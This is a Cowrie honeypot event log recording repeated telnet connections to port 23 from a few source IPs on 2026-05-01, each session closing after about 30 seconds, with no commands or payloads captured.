{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ba0da5e278","protocol":"telnet","message":"New connection: 51.15.157.40:38742 (159.203.135.109:23) [session: e9ba0da5e278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:36.069407Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35602,"dst_ip":"159.203.135.109","dst_port":23,"session":"856b820b9866","protocol":"telnet","message":"New connection: 157.15.20.138:35602 (159.203.135.109:23) [session: 856b820b9866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:36.159643Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35572,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6c994ac372","protocol":"telnet","message":"New connection: 157.15.20.138:35572 (159.203.135.109:23) [session: 3e6c994ac372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:36.240204Z"}
{"eventid":"cowrie.session.closed","duration":31.68254780769348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:36.388028Z","src_ip":"34.69.118.1","session":"7664a9c9d1dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40846,"dst_ip":"159.203.135.109","dst_port":23,"session":"8936dd1912c2","protocol":"telnet","message":"New connection: 51.15.157.40:40846 (159.203.135.109:23) [session: 8936dd1912c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:36.740620Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46180,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d7a1d5487a3","protocol":"telnet","message":"New connection: 157.15.20.138:46180 (159.203.135.109:23) [session: 8d7a1d5487a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:36.762361Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43888,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4127bf07860","protocol":"telnet","message":"New connection: 51.15.157.40:43888 (159.203.135.109:23) [session: f4127bf07860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:36.775410Z"}
{"eventid":"cowrie.session.closed","duration":31.203208684921265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.078726Z","src_ip":"51.15.157.40","session":"dd20302b9273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751445770263672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.106413Z","src_ip":"51.15.157.40","session":"5304e4e485ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.581525325775146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.116895Z","src_ip":"51.15.157.40","session":"e35afdca167c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.601101398468018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.187095Z","src_ip":"51.15.157.40","session":"7fbfdd4e217f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42130,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b3fb2554f5","protocol":"telnet","message":"New connection: 51.15.157.40:42130 (159.203.135.109:23) [session: 73b3fb2554f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.192724Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35164,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8d98aa80a3","protocol":"telnet","message":"New connection: 51.15.157.40:35164 (159.203.135.109:23) [session: ab8d98aa80a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.209813Z"}
{"eventid":"cowrie.session.closed","duration":30.894591569900513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.674530Z","src_ip":"51.15.157.40","session":"8173ba0005d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d122d9bdecae","protocol":"telnet","message":"New connection: 157.15.20.138:46182 (159.203.135.109:23) [session: d122d9bdecae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.777690Z"}
{"eventid":"cowrie.session.closed","duration":30.712568521499634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.786759Z","src_ip":"89.39.83.70","session":"e83d9389b25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47964,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb2c0dfd244","protocol":"telnet","message":"New connection: 51.15.157.40:47964 (159.203.135.109:23) [session: 6bb2c0dfd244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:37.968806Z"}
{"eventid":"cowrie.session.closed","duration":31.411420583724976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:38.108826Z","src_ip":"157.15.20.138","session":"60a6d45d1f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45210,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7a13374c92c","protocol":"telnet","message":"New connection: 51.15.157.40:45210 (159.203.135.109:23) [session: d7a13374c92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:38.159429Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46196,"dst_ip":"159.203.135.109","dst_port":23,"session":"4275365daf5f","protocol":"telnet","message":"New connection: 157.15.20.138:46196 (159.203.135.109:23) [session: 4275365daf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:38.384429Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39848,"dst_ip":"159.203.135.109","dst_port":23,"session":"60da2337c2d1","protocol":"telnet","message":"New connection: 51.15.157.40:39848 (159.203.135.109:23) [session: 60da2337c2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:38.459997Z"}
{"eventid":"cowrie.session.closed","duration":30.98786497116089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:38.764520Z","src_ip":"51.15.157.40","session":"c889cbab36e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46206,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c59bf122864","protocol":"telnet","message":"New connection: 157.15.20.138:46206 (159.203.135.109:23) [session: 6c59bf122864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:38.775587Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51330,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ae41b275f0","protocol":"telnet","message":"New connection: 51.15.157.40:51330 (159.203.135.109:23) [session: b5ae41b275f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.056347Z"}
{"eventid":"cowrie.session.closed","duration":30.35793113708496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.162970Z","src_ip":"51.15.157.40","session":"dd8176301c1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049438953399658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.333194Z","src_ip":"51.15.157.40","session":"bf01e036cb07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52374,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9a88a60823","protocol":"telnet","message":"New connection: 51.15.157.40:52374 (159.203.135.109:23) [session: df9a88a60823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.371968Z"}
{"eventid":"cowrie.session.closed","duration":30.81259775161743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.509825Z","src_ip":"157.15.20.138","session":"4ad257fc4c9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31938862800598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.591377Z","src_ip":"51.15.157.40","session":"b4f345fead4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.444826364517212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.707786Z","src_ip":"34.69.118.1","session":"3f9e34c953ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.661181449890137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:39.863943Z","src_ip":"51.15.157.40","session":"92a90382b464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54632,"dst_ip":"159.203.135.109","dst_port":23,"session":"053157d6d1be","protocol":"telnet","message":"New connection: 51.15.157.40:54632 (159.203.135.109:23) [session: 053157d6d1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:40.007360Z"}
{"eventid":"cowrie.session.closed","duration":30.44417643547058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:40.257421Z","src_ip":"51.15.157.40","session":"48bd94732144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012619972229004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:40.276670Z","src_ip":"103.171.45.122","session":"31900e4885c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":57150,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb97b449edef","protocol":"telnet","message":"New connection: 51.15.157.40:57150 (159.203.135.109:23) [session: eb97b449edef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:40.728360Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46220,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a059b6b60a","protocol":"telnet","message":"New connection: 157.15.20.138:46220 (159.203.135.109:23) [session: 58a059b6b60a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:40.769357Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f2d8a1ce6a3","protocol":"telnet","message":"New connection: 34.69.118.1:56484 (159.203.135.109:23) [session: 0f2d8a1ce6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:40.904854Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58058,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1e5b3438b60","protocol":"telnet","message":"New connection: 51.15.157.40:58058 (159.203.135.109:23) [session: e1e5b3438b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:40.986996Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58134,"dst_ip":"159.203.135.109","dst_port":23,"session":"eac9d39d95a3","protocol":"telnet","message":"New connection: 51.15.157.40:58134 (159.203.135.109:23) [session: eac9d39d95a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:41.027352Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":41670,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4535f01ecff","protocol":"telnet","message":"New connection: 103.171.45.122:41670 (159.203.135.109:23) [session: f4535f01ecff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:41.486550Z"}
{"eventid":"cowrie.session.closed","duration":31.360148668289185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:41.660220Z","src_ip":"51.15.157.40","session":"f9b8bc59e2b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33258,"dst_ip":"159.203.135.109","dst_port":23,"session":"0564b9ee970d","protocol":"telnet","message":"New connection: 51.15.157.40:33258 (159.203.135.109:23) [session: 0564b9ee970d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.009994Z"}
{"eventid":"cowrie.session.closed","duration":30.979222536087036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.117763Z","src_ip":"51.15.157.40","session":"b9af5c7a79c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50749945640564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.216636Z","src_ip":"51.15.157.40","session":"dcc7dafb34a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34012,"dst_ip":"159.203.135.109","dst_port":23,"session":"5229ea886730","protocol":"telnet","message":"New connection: 51.15.157.40:34012 (159.203.135.109:23) [session: 5229ea886730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.271135Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":47054,"dst_ip":"159.203.135.109","dst_port":23,"session":"1912bf4b9161","protocol":"telnet","message":"New connection: 89.39.83.70:47054 (159.203.135.109:23) [session: 1912bf4b9161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.364028Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36386,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c0e0279435d","protocol":"telnet","message":"New connection: 51.15.157.40:36386 (159.203.135.109:23) [session: 3c0e0279435d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.861347Z"}
{"eventid":"cowrie.session.closed","duration":31.898555517196655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.901958Z","src_ip":"51.15.157.40","session":"0d043a3c14b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36622,"dst_ip":"159.203.135.109","dst_port":23,"session":"663f849c6797","protocol":"telnet","message":"New connection: 51.15.157.40:36622 (159.203.135.109:23) [session: 663f849c6797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:42.924431Z"}
{"eventid":"cowrie.session.closed","duration":31.384901762008667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.025453Z","src_ip":"51.15.157.40","session":"8d11ee5eb0bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56494,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15fd91e8ee9","protocol":"telnet","message":"New connection: 34.69.118.1:56494 (159.203.135.109:23) [session: f15fd91e8ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.029770Z"}
{"eventid":"cowrie.session.closed","duration":30.138864040374756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.055841Z","src_ip":"51.15.157.40","session":"7ac0711d1b59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.92587924003601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.099155Z","src_ip":"157.15.20.138","session":"26dbe77db05a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37300,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b5cdea2f690","protocol":"telnet","message":"New connection: 51.15.157.40:37300 (159.203.135.109:23) [session: 5b5cdea2f690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.187454Z"}
{"eventid":"cowrie.session.closed","duration":30.422324419021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.205505Z","src_ip":"157.15.20.138","session":"b81f95b54985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15584111213684,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.253289Z","src_ip":"34.69.118.1","session":"8dd0aab9f1d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37562,"dst_ip":"159.203.135.109","dst_port":23,"session":"4baab491083e","protocol":"telnet","message":"New connection: 51.15.157.40:37562 (159.203.135.109:23) [session: 4baab491083e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.267512Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38364,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d4e0f6d2da","protocol":"telnet","message":"New connection: 51.15.157.40:38364 (159.203.135.109:23) [session: d2d4e0f6d2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.465937Z"}
{"eventid":"cowrie.session.closed","duration":31.362935066223145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.571294Z","src_ip":"51.15.157.40","session":"2285bda943e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96409773826599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.715828Z","src_ip":"51.15.157.40","session":"05bfddc366fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46252,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c282b07029","protocol":"telnet","message":"New connection: 157.15.20.138:46252 (159.203.135.109:23) [session: 74c282b07029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.906196Z"}
{"eventid":"cowrie.session.closed","duration":31.28942060470581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:43.943057Z","src_ip":"51.15.157.40","session":"4d1e07bde7c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.396417379379272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.173466Z","src_ip":"51.15.157.40","session":"5ff64ecff576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41000,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed411b6917ee","protocol":"telnet","message":"New connection: 51.15.157.40:41000 (159.203.135.109:23) [session: ed411b6917ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.254352Z"}
{"eventid":"cowrie.session.closed","duration":30.469781398773193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.367120Z","src_ip":"51.15.157.40","session":"4c1148563f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158926010131836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.429560Z","src_ip":"51.15.157.40","session":"1d6430f805b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82118535041809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.495362Z","src_ip":"51.15.157.40","session":"a7118a0a7df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43142,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc7b294b9875","protocol":"telnet","message":"New connection: 51.15.157.40:43142 (159.203.135.109:23) [session: fc7b294b9875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.729564Z"}
{"eventid":"cowrie.session.closed","duration":31.56530213356018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.773093Z","src_ip":"51.15.157.40","session":"5406ad059d15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"df22f53b83a9","protocol":"telnet","message":"New connection: 157.15.20.138:46248 (159.203.135.109:23) [session: df22f53b83a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.784266Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46254,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cd2f93f9869","protocol":"telnet","message":"New connection: 157.15.20.138:46254 (159.203.135.109:23) [session: 6cd2f93f9869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:44.857147Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44350,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f4d8a77c4c","protocol":"telnet","message":"New connection: 51.15.157.40:44350 (159.203.135.109:23) [session: f3f4d8a77c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.024194Z"}
{"eventid":"cowrie.session.closed","duration":30.398212909698486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.079249Z","src_ip":"51.15.157.40","session":"d9ca93bcb971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42451310157776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.151317Z","src_ip":"157.15.20.138","session":"6338be0fa821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.402626037597656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.223826Z","src_ip":"51.15.157.40","session":"3f58bf188655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":59350,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e07fc1b588b","protocol":"telnet","message":"New connection: 104.236.196.85:59350 (159.203.135.109:23) [session: 9e07fc1b588b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.251379Z"}
{"eventid":"cowrie.session.closed","duration":30.564700841903687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.279619Z","src_ip":"157.15.20.138","session":"5f222f258b71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.456708431243896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.355326Z","src_ip":"51.15.157.40","session":"f5cbbf100d23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4187273979187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.422380Z","src_ip":"51.15.157.40","session":"58b1080d8c50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34668,"dst_ip":"159.203.135.109","dst_port":23,"session":"342720ed5459","protocol":"telnet","message":"New connection: 51.15.157.40:34668 (159.203.135.109:23) [session: 342720ed5459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.457394Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46354,"dst_ip":"159.203.135.109","dst_port":23,"session":"9780847f4a8a","protocol":"telnet","message":"New connection: 51.15.157.40:46354 (159.203.135.109:23) [session: 9780847f4a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:45.605722Z"}
{"eventid":"cowrie.session.closed","duration":30.34303903579712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.199546Z","src_ip":"51.15.157.40","session":"4a4228bb46f7","protocol":"telnet"}
